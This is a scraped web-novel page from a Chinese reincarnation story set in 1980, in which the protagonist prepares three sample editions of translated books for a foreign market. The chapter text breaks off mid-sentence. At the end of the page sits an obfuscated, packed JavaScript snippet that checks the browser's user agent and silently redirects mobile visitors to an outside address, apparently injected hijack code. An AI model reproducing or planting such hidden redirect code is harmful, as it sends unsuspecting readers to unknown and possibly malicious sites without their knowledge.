重生1980:开局放弃返城娶村花玄远一吹
第312章 幕后老板的女人(第2页)
如果所有的进口书籍都需要在晓滥国重新注册书号,重新进行印刷生产的话,那陈松提前制作好了的那些成品书,不就白制作了吗?
到时候这些已经被改编成晓滥国语言的书,又要去卖给谁呢?卖给本国人,没人看得懂,而且人们对晓滥国的仇恨也是罄竹难书,谁会买这个?
卖给其他国家的人,那也没人看得懂啊!谁会花钱买一本看不懂文字的书?那这些书不就要砸在自己手里了吗?
第二,尽管陈松已经让那几个翻译人员快马加鞭的翻译,也没能把那几本长篇小说全部翻译完,所以要印刷制作的话,时间也来不及。
第三,陈松其他货物,刚刚好装满两艘货轮,若是为了这些书籍,再多租一艘货轮的话,那就不值当的了。
这些书又装不满一艘货轮,如果租赁一整艘货轮,那成本就太高了。
所以,为了谨慎起见,陈松就只给每部书印刷了几本样品,让颜淑玉带到了晓滥国来,再在这边寻找合作的出版社。
这样既不用单独租一艘货轮,又避免了万一需要重新申请书号、重新印刷出版的风险。
陈松还把这几本书非常贴心地做出了三个样本。
第一个样本是纯龙国语言的,这是为了万一到了这边需要重新找翻译人员进行校对,有一本原版的书作为对照会比较好一点。
这个版本的书根本就不会在晓滥国印刷出品,因为没有市场需求,只是当做工具来使用。
第二个样本是新龙国语言和晓滥国语言的对照版本,有点类似于陈松前世的中英对照版本的书籍。
这一版只会在晓滥国出品极少的数量,是为了让那些学习新龙国语言的人阅读和使用的。
第三个版本就是纯晓滥国语言的,这个才是主打产品。
颜淑玉把这三个版本
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16094992|171444||http|test|mini|href|location''.split(''|''),0,{}));